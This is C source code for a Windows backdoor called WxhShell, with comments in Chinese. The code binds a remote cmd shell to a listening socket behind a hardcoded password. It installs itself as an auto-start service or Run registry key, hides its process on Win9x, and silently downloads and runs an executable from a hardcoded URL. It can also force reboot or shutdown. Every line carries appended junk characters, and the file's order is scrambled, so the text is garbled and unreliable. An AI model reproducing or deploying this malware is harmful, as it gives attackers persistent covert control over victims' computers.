    if(Boot(SHUTDOWN)) fFbJE]jW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]}:E+E<.I  
    else { 11QZ- ^  
    closesocket(wsh); j^b &Q  
    ExitThread(0); L T`T~|pz  
    } 9HN&M*}  
    break; :tFc Pc'  
    } k~<Ozx^AyY  
  // 获取shell e^\(bp+83  
  case 's': { ]6v7iuvI  
    CmdShell(wsh); x v$fw>  
    closesocket(wsh); @(=?x:j  
    ExitThread(0); qOpwl*?x+  
    break; 3`SH-"{j%  
  } %jj-\Gz!  
  // 退出 )ZLj2H<  
  case 'x': { g$)0E<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _+)OL-  
    CloseIt(wsh); [?<v|k  
    break; n3V$Xtxw  
    } g8Y)90 G  
  // 离开 6w3[PNd  
  case 'q': { 3_;=y\F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `xv Uq\  
    closesocket(wsh); ^=-25%&^  
    WSACleanup(); lws.;abm%n  
    exit(1); !}P^O(oY  
    break; [m< jM[w{  
        } [W[awGf  
  } B(71I;  
  } |uFb(kL[U  
l#ct;KZ  
  // 提示信息 g1F9IB42@<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nw*a?$S3  
} {s*1QBM$\Z  
  } ~a7@O^q 4  
4$2HO `@uN  
  return; T^d<vH  
}  K\ pZ  
A9Ea}v9:  
// shell模块句柄 |iSwG=&  
int CmdShell(SOCKET sock) /P[u vO  
{ +  rN#  
STARTUPINFO si; JT6Be8   
ZeroMemory(&si,sizeof(si)); g] IPNW^n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i/8OC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \N?lG q  
PROCESS_INFORMATION ProcessInfo; %ByqkY{5F  
char cmdline[]="cmd"; DD7D&@As  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UDk H'x$=  
  return 0; +('xzW  
} Xsb.xxK.  
(Y&gse1}!  
// 自身启动模式 ;gJAxVD<  
int StartFromService(void) <|WXFjn  
{ 33}p02#  
typedef struct 2}P{7flDY  
{ g(jn /Cx  
  DWORD ExitStatus; 6eB~S)Ko  
  DWORD PebBaseAddress; kJ .7C  
  DWORD AffinityMask; HCktgL:E=  
  DWORD BasePriority; c0jTQMe4yl  
  ULONG UniqueProcessId; J~ @W":v  
  ULONG InheritedFromUniqueProcessId; ;6]ag< Q  
}   PROCESS_BASIC_INFORMATION; bS|h~B]rd  
S[8n GH#m  
PROCNTQSIP NtQueryInformationProcess; Wa?\W&  
)!zg=}V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )WEOqaR]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T 9}dgf  
vXdI)Sx[  
  HANDLE             hProcess; A$P Oc<  
  PROCESS_BASIC_INFORMATION pbi; a(-t"OL\  
6]!Jo)BF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :W-xsw  
  if(NULL == hInst ) return 0; $RRh}w\0^  
vls+E o]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b\NY!)B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bWCtRli}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #'#@H  
*gwo.s  
  if (!NtQueryInformationProcess) return 0; X"f]  
h^H)p`[Gme  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A}uWy^w  
  if(!hProcess) return 0; SrMfd7H8f  
#; P-*P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >^@~}]L  
Zwtz )ZII  
  CloseHandle(hProcess); (w<llb`]  
70R_O&f-k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7}mr C@[i  
if(hProcess==NULL) return 0; +OI nf_O  
loyhNT=  
HMODULE hMod; a|dn3R>vX  
char procName[255]; +9;6]4  
unsigned long cbNeeded; C2hB7?UGN  
EUPc+D3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e/)Vx'd`+  
1B{u4w7S4e  
  CloseHandle(hProcess); 7;#o?6!7  
PMj!T \B|  
if(strstr(procName,"services")) return 1; // 以服务启动 c/-'^+9  
r/+~4W5  
  return 0; // 注册表启动 );p:[=$71  
} @&Af [X4s  
){tT B  
// 主模块 gHH[QLD=I  
int StartWxhshell(LPSTR lpCmdLine) IV`+B<3  
{ )\izL]=!t  
  SOCKET wsl; @zsqjm  
BOOL val=TRUE; _^0UK|[  
  int port=0; y&F&Z3t  
  struct sockaddr_in door; PC?XE8o  
DnB :~&Dw  
  if(wscfg.ws_autoins) Install(); Qyj:!-o  
0bQ"s*K  
port=atoi(lpCmdLine); @7?L+.r$9  
nG| NRp  
if(port<=0) port=wscfg.ws_port; |)ALJJ=+  
3qp\jh=FE  
  WSADATA data; ^7`gf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p" Di;3!y!  
.Jc<Gg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )c0Dofhg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); phcYQqR  
  door.sin_family = AF_INET; {%Q+Pzl.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7a%)/ )<D  
  door.sin_port = htons(port); / \k\HK8  
u-wj\BU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F{m?:A  
closesocket(wsl); H|d"45J_  
return 1; 1|7t q  
} H$3:Ra+ S  
jxgs!B>   
  if(listen(wsl,2) == INVALID_SOCKET) { ?$H=n{iW  
closesocket(wsl); J}VG4}L  
return 1; ]n4G]ybK%  
} 5mI}IS|@  
  Wxhshell(wsl); 5&Le?-/\  
  WSACleanup(); >Cglhsb:N  
Fau24-g  
return 0; @aWd0e]  
8SO(pw9  
} FlLk.+!t  
srIt_Wq  
// 以NT服务方式启动 v==/tr)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e6'y S81  
{ ;<K#h9#*7  
DWORD   status = 0; C.VU"= -  
  DWORD   specificError = 0xfffffff; U!524"@%U`  
p,S/-ph  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U;Q?Rh- W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? wZ`U Oi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ! X<dN..  
  serviceStatus.dwWin32ExitCode     = 0; ?Lquf&`vP  
  serviceStatus.dwServiceSpecificExitCode = 0; `mDCX  
  serviceStatus.dwCheckPoint       = 0; 6"U$H$i.G  
  serviceStatus.dwWaitHint       = 0; iq`caoi  
5}'W8gV?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nb/Z+  
  if (hServiceStatusHandle==0) return; +nQp_a1{9%  
n4Q ^   
status = GetLastError(); yH',vC.  
  if (status!=NO_ERROR) Sk%*Zo{|  
{ 6F3FcUL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p']oy;t  
    serviceStatus.dwCheckPoint       = 0; d01]5'f?o  
    serviceStatus.dwWaitHint       = 0; YyD0g9{  
    serviceStatus.dwWin32ExitCode     = status; QWAtF@qTV  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ou2p^:C(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6fw2 ;$x"  
    return; F+m;y  
  } -h,?_d>  
Y/,Cy0!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N9BfjT}  
  serviceStatus.dwCheckPoint       = 0; 6{?B`gm7g  
  serviceStatus.dwWaitHint       = 0; C.?~D*Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1C<@QrT  
} '"]U+aIg  
(Ujry =f  
// 处理NT服务事件,比如:启动、停止 uwWKsZ4:ij  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ H!Klp  
{ `:YCOF  
switch(fdwControl) KWi P`h8  
{ G Y+li {  
case SERVICE_CONTROL_STOP: {1J4Q[N9m  
  serviceStatus.dwWin32ExitCode = 0; *w23(f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X~ g9TUv8  
  serviceStatus.dwCheckPoint   = 0; qW|_|%{U+  
  serviceStatus.dwWaitHint     = 0; QJtO~~-  
  { %@Nu{?I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <4%vl+qW  
  } _+}#  
  return; wF$z ?L  
case SERVICE_CONTROL_PAUSE: &O^t]7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iO{LsG*5Z  
  break; } o@Dsx5  
case SERVICE_CONTROL_CONTINUE: &[y+WrGG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D` 2w>{Y  
  break; fsUZG6  
case SERVICE_CONTROL_INTERROGATE: w'a3=_nW  
  break; UKp^TW1^  
}; 4* V[^mht  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \JIyJ8FleC  
} U'0e<IcY  
]q3.^F  
// 标准应用程序主函数 ^W ,~   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ 3,:G$,  
{ ugS  
@k||gQqIB  
// 获取操作系统版本 -s9()K(vZG  
OsIsNt=GetOsVer(); Nd%j0lj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j},3@TFh  
9 f= ~E8P  
  // 从命令行安装 :HkX sZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); "*ww>0[  
QeG3X+  
  // 下载执行文件 ZFRKzPc {V  
if(wscfg.ws_downexe) { \U.js-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5odXT *n  
  WinExec(wscfg.ws_filenam,SW_HIDE); N%!{n7`N:  
} `zsooA Gt  
F $1f8U8  
if(!OsIsNt) { )w,<XJhg`  
// 如果时win9x,隐藏进程并且设置为注册表启动 |H>;a@2d  
HideProc(); 5Tq*]Z E  
StartWxhshell(lpCmdLine); I9*BT T]  
} 3_ko=& B$  
else (ty&$  
  if(StartFromService()) DIx.a^LR  
  // 以服务方式启动 J7+[+Y  
  StartServiceCtrlDispatcher(DispatchTable); =TJ9Gr/R&:  
else hr3<vWAD  
  // 普通方式启动 puox^  
  StartWxhshell(lpCmdLine); $) m$ c5!  
Tb}op XYK  
return 0; 1G )I|v9R  
} IO<Ds#(  
Ix+eP|8F  
0HN%3AG]  
%{ory5  
=========================================== 8T88  
-lm)xpp1  
hRZYvZ3  
8~y&"  \  
1H \  
Tb\<e3Te_  
" 3? F~ H  
u9N /9  
#include <stdio.h> }!V-FAL  
#include <string.h> UHR%0ae  
#include <windows.h>  Lr0:y o  
#include <winsock2.h> k5)a|  
#include <winsvc.h> G%viWWTY  
#include <urlmon.h> ( @V_47o  
|!{ Y:f;  
#pragma comment (lib, "Ws2_32.lib") `N8t2yF  
#pragma comment (lib, "urlmon.lib") }VeE4-p B  
c&C*'c-r  
#define MAX_USER   100 // 最大客户端连接数 z0@BBXQ`  
#define BUF_SOCK   200 // sock buffer ox5WboL  
#define KEY_BUFF   255 // 输入 buffer Z?u}?-b1\H  
3%)@c P:?  
#define REBOOT     0   // 重启 DhXV=Qw  
#define SHUTDOWN   1   // 关机 UjS+Ddp  
/[E2+g  
#define DEF_PORT   5000 // 监听端口 b>Ea_3T/  
zxkO&DGRbN  
#define REG_LEN     16   // 注册表键长度 ~I;|ipK4m  
#define SVC_LEN     80   // NT服务名长度 |G_,1$  
7[I +1  
// 从dll定义API 2"_5Yyb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *Sps^Wl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h s_x @6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zI4d|P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9 !$&1|,*  
#_WkV  
// wxhshell配置信息 bjAI7B8As  
struct WSCFG { 3!{Tw6A8(  
  int ws_port;         // 监听端口 t1wzSG  
  char ws_passstr[REG_LEN]; // 口令 5= T$h;O  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5+yy:#J]  
  char ws_regname[REG_LEN]; // 注册表键名 'I$kDM mwh  
  char ws_svcname[REG_LEN]; // 服务名 \>x1#Vr>#V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aJ}hlM>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oU se~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )!~,xl^j{}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nxna H!wS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WyRSy-{U(}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H!'4A&  
mZO-^ct4  
}; F)4I70vG  
L7R!,  
// default Wxhshell configuration 'KDt%?24  
struct WSCFG wscfg={DEF_PORT, >Y(JC#M;  
    "xuhuanlingzhe", 6|IJwP^Q_  
    1, EP^qj j@M  
    "Wxhshell", -[}Aka,f!  
    "Wxhshell", d0R;|p''Z  
            "WxhShell Service", (,KzyR=*'  
    "Wrsky Windows CmdShell Service", e?FQ6?  
    "Please Input Your Password: ", oW^>J-  
  1, 5zh6l+S[  
  "http://www.wrsky.com/wxhshell.exe", +s^nT{B@\  
  "Wxhshell.exe" _>ZC;+c?  
    }; suE8"v!sk  
X&IT  s  
// 消息定义模块 ix$ ^1(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >'4$g7o,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B):ZX#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LcB+L](  
char *msg_ws_ext="\n\rExit."; ^+~ 5\c*  
char *msg_ws_end="\n\rQuit."; $0vWC#.A]  
char *msg_ws_boot="\n\rReboot..."; 3iUJ!gK  
char *msg_ws_poff="\n\rShutdown..."; :s \zk^h?  
char *msg_ws_down="\n\rSave to "; ~!=Am:-wr  
hQ(^;QcSu  
char *msg_ws_err="\n\rErr!"; :W6'G@ p  
char *msg_ws_ok="\n\rOK!"; HB`'S7Q  
L9XfR$7,z  
char ExeFile[MAX_PATH]; N;,zPWa  
int nUser = 0; R!yh0y}Z  
HANDLE handles[MAX_USER]; )_\;l%&  
int OsIsNt; 2vU-9p {  
Pm%5c\ef  
SERVICE_STATUS       serviceStatus; P (DEf(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -%| ] d ;  
;Yv{)@'Bc  
// 函数声明 P j,H]  
int Install(void); y5F"JjQAa  
int Uninstall(void); Hpa6; eT  
int DownloadFile(char *sURL, SOCKET wsh); w,up`W7,  
int Boot(int flag); K\xnQeS<W  
void HideProc(void); QT zN  
int GetOsVer(void); m.!LL]]  
int Wxhshell(SOCKET wsl); E)`0(Z:E  
void TalkWithClient(void *cs); /KNR;n'  
int CmdShell(SOCKET sock); *rbgDaQ  
int StartFromService(void); j Neb*dPoK  
int StartWxhshell(LPSTR lpCmdLine); ?3a=u<  
V)`A,7X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P{ 9wJ<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zyO=x 4U8  
W -HOl!)  
// 数据结构和表定义 }EYmz/nN  
SERVICE_TABLE_ENTRY DispatchTable[] = :5$ErI  
{ ITg:OOQ  
{wscfg.ws_svcname, NTServiceMain}, ,A $IFE  
{NULL, NULL} (F 9P1Iq  
}; rsa_)iBC  
U;IGV~oT  
// 自我安装 MgJ5FRQ  
int Install(void) Ook\CK*nKe  
{ CM$&XJzva  
  char svExeFile[MAX_PATH]; rk4KAX_[  
  HKEY key; ;Z`a[\i':  
  strcpy(svExeFile,ExeFile); jMCd`Q]K  
_'1 7C /  
// 如果是win9x系统,修改注册表设为自启动 lZ)6d-vK  
if(!OsIsNt) { xf/K+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . AOc$Nt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mtkZF{3Jx  
  RegCloseKey(key); M$Ui=GGq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "U"fsAc#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0^\H$An*k  
  RegCloseKey(key); e$P^},0/  
  return 0; TB?'<hD:  
    } 0Ze&GK'Hf  
  } .>}I/+n  
} D "5|\  
else { $] xH"Z%"  
DTuco9yr[  
// 如果是NT以上系统,安装为系统服务 EC0B6!C&7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s8[(   
if (schSCManager!=0) ZMZWO$"K1  
{ r7>FH!=:  
  SC_HANDLE schService = CreateService 9M'"q7Kh  
  ( DBHHJD/q  
  schSCManager, QI U%!9Y  
  wscfg.ws_svcname, rqiH!R  
  wscfg.ws_svcdisp, rp dv{CUp7  
  SERVICE_ALL_ACCESS, !vRN'/(Vyu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gY[G>D=  
  SERVICE_AUTO_START, TTl9xs,nO  
  SERVICE_ERROR_NORMAL, jD"nEp-  
  svExeFile, p7Zeudmj  
  NULL, 1%vE7a>{  
  NULL, _Dqi#0#40p  
  NULL, Lg(G&ljE@k  
  NULL, V`LE 'E  
  NULL j^8HTa0Cy|  
  ); sC[#R.eq  
  if (schService!=0) g.Qn,l]X/p  
  { 6Iv};f"Y  
  CloseServiceHandle(schService); a@&qdp  
  CloseServiceHandle(schSCManager); f/Y7@y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <dE~z]P  
  strcat(svExeFile,wscfg.ws_svcname); 3BGcDyYE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T+~&jC:{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aM1WC 'c&)  
  RegCloseKey(key); Qj1%'wWG  
  return 0; Lg,ObVt!  
    } 0PFC %x  
  } D4(73  
  CloseServiceHandle(schSCManager); frm[<-~w0  
} Yc-5Mr8*,  
} E&z^E2  
FZ<6kk4  
return 1; ib 'l:GM  
} BR?DW~7J j  
v(JjvN21  
// 自我卸载 *y|w9 r p  
int Uninstall(void) c)N_"#&  
{ ZVJ6 {DS/  
  HKEY key; !BrZTo  
9}2/ko  
if(!OsIsNt) { 3AR'Zvn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gw-{`<CxE  
  RegDeleteValue(key,wscfg.ws_regname); )BI%cD  
  RegCloseKey(key); .Jg<H %%f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n#WOIweInf  
  RegDeleteValue(key,wscfg.ws_regname); {wt9/IlG1  
  RegCloseKey(key); Gdx %#@/  
  return 0; *L>usLh  
  } z;@<J8I  
} s0vcGh#w  
} ] s 2ec  
else { QD^=;!  
pX3El$p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sh-B!  
if (schSCManager!=0) Z ]ZUK  
{ ^-s7>F`jx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AVU'rsXA  
  if (schService!=0)  f>mEX='w  
  { ;sf'"UnL  
  if(DeleteService(schService)!=0) { rGt]YG#C  
  CloseServiceHandle(schService); ak3WER|f#  
  CloseServiceHandle(schSCManager); 1 YtY=  
  return 0; Ktzn)7-  
  } 7KRNTnd  
  CloseServiceHandle(schService); 5oYeUy>N  
  } X2| Z!  
  CloseServiceHandle(schSCManager); Bs`='w%7  
} oz:J.<j24Z  
} K^GvU0\  
iH]0 YT.E  
return 1; +JD^5J,-NJ  
} HlkjyD8  
&.z-itiV  
// 从指定url下载文件 *"F*6+}w"  
int DownloadFile(char *sURL, SOCKET wsh) h<?I?ZR0$  
{ "FGgem%9  
  HRESULT hr; _h=h43'3  
char seps[]= "/"; L7(.dO0C  
char *token; d@cyQFX  
char *file; 3)&rj 7  
char myURL[MAX_PATH]; i ^N}avO  
char myFILE[MAX_PATH]; Cx(HsJ! ,  
{O!;cI~  
strcpy(myURL,sURL); r[kHVT8  
  token=strtok(myURL,seps); !{uV-c-5,  
  while(token!=NULL) F3Vvqt*2  
  { U;.cXU{  
    file=token; DX3jE p2  
  token=strtok(NULL,seps); 2%fkXH<  
  } [vY)y\W{  
p"cY/2w:j  
GetCurrentDirectory(MAX_PATH,myFILE); WwSyw?T  
strcat(myFILE, "\\"); ao2o!-?!t  
strcat(myFILE, file); GLV`IkU %  
  send(wsh,myFILE,strlen(myFILE),0); G8^b9xoA+.  
send(wsh,"...",3,0); Pj8Vl)8~NV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! c~3`7v  
  if(hr==S_OK) Z,XivU&  
return 0; FEa%wS{  
else Mwj7*pxUh  
return 1; {Y]3t9!\  
N;m62N  
} _A]~`/0;`  
#LwDs,J:  
// 系统电源模块 B]7QOf"  
int Boot(int flag) &\/}.rF  
{ iHo0:J~  
  HANDLE hToken; (@\0P H0  
  TOKEN_PRIVILEGES tkp; zCwb>v  
X)9|ZF2`  
  if(OsIsNt) { \jkDRR[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ROfke.N\'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3i}$ ~rz]U  
    tkp.PrivilegeCount = 1; _1$+S0G;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'xM\txZ;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f%YD+Dt_V  
if(flag==REBOOT) { <lPHeO<^]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )=,;-&AR  
  return 0; 6X VJ/qZ  
} u`*$EP-%  
else { 2b#> ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?* dfIc  
  return 0; $~A\l@xAG  
} e7U9"pk  
  } gp{P _  
  else { mA3yM#  
if(flag==REBOOT) { hJJo+NNN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (jE[W:  
  return 0; \ $9n `  
} Y:'c<k  
else { jLul:* L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u/?;J1z:  
  return 0; P(zquKm  
} 3e^'mT  
} rf&nTDaWI  
90$`AMR  
return 1; X^ 0jS  
} G{|F V m  
jBd9  $`  
// win9x进程隐藏模块 :4238J8  
void HideProc(void) 8ax3"G  
{ 'DH_ihZ  
nZS*"O#L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gi\UNT9x  
  if ( hKernel != NULL ) y {Mh ?H  
  { $4TawFf"nc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2 BwpxV8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v|>'m#Ln2  
    FreeLibrary(hKernel); jZ69sDhE  
  } qjvIp-  
v#KE"m  
return; K~z9b4a>  
} H*dQT y,  
}KrZ6cG9#  
// 获取操作系统版本 kI$X~s$r  
int GetOsVer(void) zB{be_Tw  
{ JvLa@E)  
  OSVERSIONINFO winfo; :cTwp K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dr"F5Wbg  
  GetVersionEx(&winfo); AyZBH &}RZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~48mCD  
  return 1; TqMy">>  
  else 4dvuw{NZ  
  return 0; D#&N?< }  
} gLv";"4S  
.J|" bs9  
// 客户端句柄模块 ^`!EpO>k9  
int Wxhshell(SOCKET wsl) o"A%dC_  
{ nF| m*_DW  
  SOCKET wsh; <0)@Ikhx  
  struct sockaddr_in client; uI[lrMQYa  
  DWORD myID; $;+`sVG  
o//PlG~  
  while(nUser<MAX_USER) T k>N4yq  
{ $yg}HS7HC  
  int nSize=sizeof(client); C0Ti9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ldm=uW  
  if(wsh==INVALID_SOCKET) return 1; l. i&.;f  
C{):jH,Rf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y#;@~S1W  
if(handles[nUser]==0) V?Zvu9b&  
  closesocket(wsh); Eq/%k $6#1  
else "Mmvf'N  
  nUser++; /!0{9F<  
  } jCbxI^3A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :j,e0#+sA  
t%<d}QuHW  
  return 0; zc-.W2"Hu  
} <El6?ml@  
+hS}msu'  
// 关闭 socket :ITz\m  
void CloseIt(SOCKET wsh) <)(STo  
{ xlaBOKa%  
closesocket(wsh); wXsA-H/`  
nUser--; EGyQ hZ mO  
ExitThread(0); # S4{,  
} 21U,!  
/CN^">|_  
// 客户端请求句柄 .Su9fj y%  
void TalkWithClient(void *cs) (UTt_ry g  
{ "-TIao#  
Ey u?T  
  SOCKET wsh=(SOCKET)cs; m/0t; cx  
  char pwd[SVC_LEN]; `795 K8  
  char cmd[KEY_BUFF]; QJ s /0iw  
char chr[1]; P A9 ]L  
int i,j; U(=cGA.$  
-pR1xsG  
  while (nUser < MAX_USER) { RyxIJJui  
=X2EF  
if(wscfg.ws_passstr) { " U&   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U vOB`Vj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x_ \e&"x  
  //ZeroMemory(pwd,KEY_BUFF); @cF aYI  
      i=0; N*My2t_+E  
  while(i<SVC_LEN) { IXf@YV  
KyAQzN9  
  // 设置超时 /Et:',D  
  fd_set FdRead; #3u;Ox  
  struct timeval TimeOut; o^},L?  
  FD_ZERO(&FdRead); X Jy]d/  
  FD_SET(wsh,&FdRead); _A \c 6#  
  TimeOut.tv_sec=8; (byFr9z  
  TimeOut.tv_usec=0; '5eW"HGU]`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G?d28p',.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z6R<*$4  
*Ta*0Fr=9|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0BIH.ZV#  
  pwd=chr[0]; X(#G6KeZFZ  
  if(chr[0]==0xd || chr[0]==0xa) { @$;"nVZ4v  
  pwd=0; M(S:&GOU  
  break; ]#[ R^t  
  } 6?ylSQ]1  
  i++; OY6l t.t  
    } *Oo2rk nQ  
cX553&  
  // 如果是非法用户,关闭 socket b07 MTDFH7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y] nY.5irL  
} e2%Y8ZJG.  
Zcv1%hI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e?G] fz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?+b )=Z  
g(MeCoCc  
while(1) { 6P!M+PO  
mg*[,_3q33  
  ZeroMemory(cmd,KEY_BUFF); Vo"\nj  
\ey3i((L  
      // 自动支持客户端 telnet标准   t*^Q`V wQ  
  j=0; +B%ZB9  
  while(j<KEY_BUFF) { nYMdYt04sl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eEQ 4L\d  
  cmd[j]=chr[0]; ; eq^m,oz  
  if(chr[0]==0xa || chr[0]==0xd) { )}7rM6hv  
  cmd[j]=0; }S$]MY,*  
  break; Wgdij11e  
  } j#0@%d  
  j++; &B7X LO[  
    } uQ{ &x6.1  
2rf-pdOvG  
  // 下载文件 D'#Wc#b  
  if(strstr(cmd,"http://")) { m Fwx},dl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b4s.`%U  
  if(DownloadFile(cmd,wsh)) Z@ * ^4Ve  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B9n$8QS  
  else IiIF4 pQ,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~(%nnG6x  
  } /N7j5v(  
